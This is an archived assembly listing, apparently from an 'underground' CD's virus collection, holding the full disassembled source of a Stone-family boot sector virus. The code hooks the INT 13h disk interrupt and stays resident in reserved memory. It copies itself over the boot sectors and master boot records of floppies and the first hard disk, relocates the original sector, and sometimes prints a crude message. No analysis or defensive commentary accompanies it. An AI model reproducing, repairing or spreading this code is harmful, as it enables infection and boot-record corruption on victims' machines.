home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / stnd.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.7 KB  |  248 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    STONE                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   1-Jan-80                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. d_0000_004C_e    equ    4Ch
  26.  
  27. d_0000_004E_e    equ    4Eh
  28.  
  29. main_ram_size_    equ    413h
  30.  
  31. timer_low_    equ    46Ch
  32.  
  33. d_0000_7C00_e    equ    7C00h            ;*
  34.  
  35. d_0000_7C0A_e    equ    7C0Ah            ;*
  36.  
  37. d_0000_7C0C_e    equ    7C0Ch            ;*
  38.  
  39. d_0000_7C10_e    equ    7C10h            ;*
  40.  
  41. data_0000_e    equ    0
  42.  
  43. data_0008_e    equ    8
  44.  
  45. data_0009_e    equ    9
  46.  
  47. data_000A_e    equ    0Ah
  48.  
  49. data_000E_e    equ    0Eh
  50.  
  51. data_0012_e    equ    12h
  52.  
  53. data_03E0_e    equ    3E0h            ;*
  54.  
  55.  
  56.  
  57. seg_a        segment    byte public
  58.  
  59.         assume    cs:seg_a, ds:seg_a
  60.  
  61.  
  62.  
  63.  
  64.  
  65.         org    100h
  66.  
  67.  
  68.  
  69. stone        proc    far
  70.  
  71.  
  72.  
  73. start:
  74.  
  75. ;*        jmp    far ptr l_07C0_0005    ;*
  76.  
  77.         db    0EAh, 05h, 00h,0C0h, 07h
  78.  
  79.         jmp    loc_01C1
  80.  
  81.         db     00h, 00h, 00h, 00h, 00h, 00h
  82.  
  83.         db     04h, 01h, 00h, 00h, 00h, 7Ch
  84.  
  85.         db     00h, 00h, 1Eh, 50h, 80h,0FCh
  86.  
  87.         db     02h, 72h, 18h, 80h,0FCh, 04h
  88.  
  89.         db     73h, 13h, 80h,0FAh, 00h, 75h
  90.  
  91.         db     0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
  92.  
  93.         db     40h, 04h, 0Ah,0C0h, 75h, 03h
  94.  
  95.         db    0E8h, 07h, 00h
  96.  
  97.         db     58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
  98.  
  99.         db     00h
  100.  
  101.         db     53h, 51h, 52h, 06h, 56h, 57h
  102.  
  103.         db    0BEh, 04h, 00h
  104.  
  105. loc_0145:
  106.  
  107.         mov    ax,201h
  108.  
  109.         push    cs
  110.  
  111.         pop    es
  112.  
  113.         mov    bx,200h
  114.  
  115.         mov    cx,1
  116.  
  117.         xor    dx,dx            ; Zero register
  118.  
  119.         pushf                ; Push flags
  120.  
  121.         call    dword ptr cs:data_000A_e
  122.  
  123.         jnc    loc_0168        ; Jump if carry=0
  124.  
  125.         xor    ax,ax            ; Zero register
  126.  
  127.         pushf                ; Push flags
  128.  
  129.         call    dword ptr cs:data_000A_e
  130.  
  131.         dec    si
  132.  
  133.         jnz    loc_0145        ; Jump if not zero
  134.  
  135.         jmp    short loc_01A5
  136.  
  137.         db    90h
  138.  
  139. loc_0168:
  140.  
  141.         xor    si,si            ; Zero register
  142.  
  143.         mov    di,200h
  144.  
  145.         mov    ax,es:[si]
  146.  
  147.         cmp    ax,es:[di]
  148.  
  149.         jne    loc_0182        ; Jump if not equal
  150.  
  151.         mov    ax,es:[si+2]
  152.  
  153.         cmp    ax,es:[di+2]
  154.  
  155.         jne    loc_0182        ; Jump if not equal
  156.  
  157.         jmp    short loc_01A5
  158.  
  159.         db    90h
  160.  
  161. loc_0182:
  162.  
  163.         mov    ax,301h
  164.  
  165.         mov    bx,200h
  166.  
  167.         mov    cx,3
  168.  
  169.         mov    dx,100h
  170.  
  171.         pushf                ; Push flags
  172.  
  173.         call    dword ptr cs:data_000A_e
  174.  
  175.         jc    loc_01A5        ; Jump if carry Set
  176.  
  177.         mov    ax,301h
  178.  
  179.         xor    bx,bx            ; Zero register
  180.  
  181.         mov    cl,1
  182.  
  183.         xor    dx,dx            ; Zero register
  184.  
  185.         pushf                ; Push flags
  186.  
  187.         call    dword ptr cs:data_000A_e
  188.  
  189. loc_01A5:
  190.  
  191.         pop    di
  192.  
  193.         pop    si
  194.  
  195.         pop    es
  196.  
  197.         pop    dx
  198.  
  199.         pop    cx
  200.  
  201.         pop    bx
  202.  
  203.         retn
  204.  
  205.  
  206.  
  207. stone        endp
  208.  
  209.  
  210.  
  211. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  212.  
  213. ;                   SUBROUTINE
  214.  
  215. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  216.  
  217.  
  218.  
  219. sub_01AC    proc    near
  220.  
  221. loc_01AC:
  222.  
  223.         mov    al,cs:[bx]
  224.  
  225.         inc    bx
  226.  
  227.         cmp    al,0
  228.  
  229.         jne    loc_01B5        ; Jump if not equal
  230.  
  231.         retn
  232.  
  233. loc_01B5:
  234.  
  235.         push    ax
  236.  
  237.         push    bx
  238.  
  239.         mov    ah,0Eh
  240.  
  241.         mov    bh,0
  242.  
  243.         int    10h            ; Video display   ah=functn 0Eh
  244.  
  245.                         ;  write char al, teletype mode
  246.  
  247.         pop    bx
  248.  
  249.         pop    ax
  250.  
  251.         jmp    short loc_01AC
  252.  
  253. sub_01AC    endp
  254.  
  255.  
  256.  
  257. loc_01C1:
  258.  
  259.         xor    ax,ax            ; Zero register
  260.  
  261.         mov    ds,ax
  262.  
  263.         cli                ; Disable interrupts
  264.  
  265.         mov    ss,ax
  266.  
  267.         mov    sp,7C00h
  268.  
  269.         sti                ; Enable interrupts
  270.  
  271.         mov    ax,ds:d_0000_004C_e
  272.  
  273.         mov    ds:d_0000_7C0A_e,ax
  274.  
  275.         mov    ax,ds:d_0000_004E_e
  276.  
  277.         mov    ds:d_0000_7C0C_e,ax
  278.  
  279.         mov    ax,ds:main_ram_size_
  280.  
  281.         dec    ax
  282.  
  283.         dec    ax
  284.  
  285.         mov    ds:main_ram_size_,ax
  286.  
  287.         mov    cl,6
  288.  
  289.         shl    ax,cl            ; Shift w/zeros fill
  290.  
  291.         mov    es,ax
  292.  
  293.         mov    ds:d_0000_7C10_e,ax
  294.  
  295.         mov    ax,16h
  296.  
  297.         mov    ds:d_0000_004C_e,ax
  298.  
  299.         mov    ds:d_0000_004E_e,es
  300.  
  301.         mov    cx,1E0h
  302.  
  303.         push    cs
  304.  
  305.         pop    ds
  306.  
  307.         xor    si,si            ; Zero register
  308.  
  309.         mov    di,si
  310.  
  311.         cld                ; Clear direction
  312.  
  313.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  314.  
  315.         jmp    dword ptr cs:data_000E_e
  316.  
  317.         mov    ax,0
  318.  
  319.         int    13h            ; Disk  dl=drive a  ah=func 00h
  320.  
  321.                         ;  reset disk, al=return status
  322.  
  323.         xor    ax,ax            ; Zero register
  324.  
  325.         mov    es,ax
  326.  
  327.         mov    ax,201h
  328.  
  329.         mov    bx,d_0000_7C00_e
  330.  
  331.         cmp    byte ptr cs:data_0008_e,0
  332.  
  333.         je    loc_0226        ; Jump if equal
  334.  
  335.         mov    cx,2
  336.  
  337.         mov    dx,80h
  338.  
  339.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  340.  
  341.                         ;  read sectors to memory es:bx
  342.  
  343.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  344.  
  345.         jmp    short loc_0266
  346.  
  347.         db    90h
  348.  
  349. loc_0226:
  350.  
  351.         mov    cx,3
  352.  
  353.         mov    dx,100h
  354.  
  355.         int    13h            ; Disk  dl=drive a  ah=func 02h
  356.  
  357.                         ;  read sectors to memory es:bx
  358.  
  359.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  360.  
  361.         jc    loc_0266        ; Jump if carry Set
  362.  
  363.         test    byte ptr es:timer_low_,7
  364.  
  365.         jnz    loc_023E        ; Jump if not zero
  366.  
  367.         mov    bx,1B2h
  368.  
  369.         call    sub_01AC
  370.  
  371. loc_023E:
  372.  
  373.         push    cs
  374.  
  375.         pop    es
  376.  
  377.         mov    ax,201h
  378.  
  379.         mov    bx,200h
  380.  
  381.         mov    cx,1
  382.  
  383.         mov    dx,80h
  384.  
  385.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  386.  
  387.                         ;  read sectors to memory es:bx
  388.  
  389.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  390.  
  391.         jc    loc_0266        ; Jump if carry Set
  392.  
  393.         push    cs
  394.  
  395.         pop    ds
  396.  
  397.         mov    si,200h
  398.  
  399.         mov    di,data_0000_e
  400.  
  401.         mov    ax,[si]
  402.  
  403.         cmp    ax,[di]
  404.  
  405.         jne    loc_0277        ; Jump if not equal
  406.  
  407.         mov    ax,[si+2]
  408.  
  409.         cmp    ax,[di+2]
  410.  
  411.         jne    loc_0277        ; Jump if not equal
  412.  
  413. loc_0266:
  414.  
  415.         mov    byte ptr cs:data_0008_e,0
  416.  
  417.         mov    byte ptr cs:data_0009_e,0
  418.  
  419.         jmp    dword ptr cs:data_0012_e
  420.  
  421. loc_0277:
  422.  
  423.         mov    byte ptr cs:data_0008_e,2
  424.  
  425.         mov    byte ptr cs:data_0009_e,0
  426.  
  427.         mov    ax,301h
  428.  
  429.         mov    bx,200h
  430.  
  431.         mov    cx,2
  432.  
  433.         mov    dx,80h
  434.  
  435.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  436.  
  437.                         ;  write sectors from mem es:bx
  438.  
  439.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  440.  
  441.         jc    loc_0266        ; Jump if carry Set
  442.  
  443.         push    cs
  444.  
  445.         pop    ds
  446.  
  447.         push    cs
  448.  
  449.         pop    es
  450.  
  451.         mov    si,data_03E0_e
  452.  
  453.         mov    di,1E0h
  454.  
  455.         mov    cx,0FDE0h
  456.  
  457.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  458.  
  459.         mov    ax,301h
  460.  
  461.         mov    bx,data_0000_e
  462.  
  463.         mov    cx,1
  464.  
  465.         mov    dx,80h
  466.  
  467.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  468.  
  469.                         ;  write sectors from mem es:bx
  470.  
  471.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  472.  
  473.         jmp    short loc_0266
  474.  
  475.         db    7
  476.  
  477.                 db      'I am Andrew Dice Clay!'
  478.  
  479.         db     07h, 0Dh, 0Ah, 0Ah, 00h
  480.  
  481.                 db      'So, BLOW ME....Hey!'
  482.  
  483.  
  484.  
  485. seg_a        ends
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.         end    start
  494.  
  495.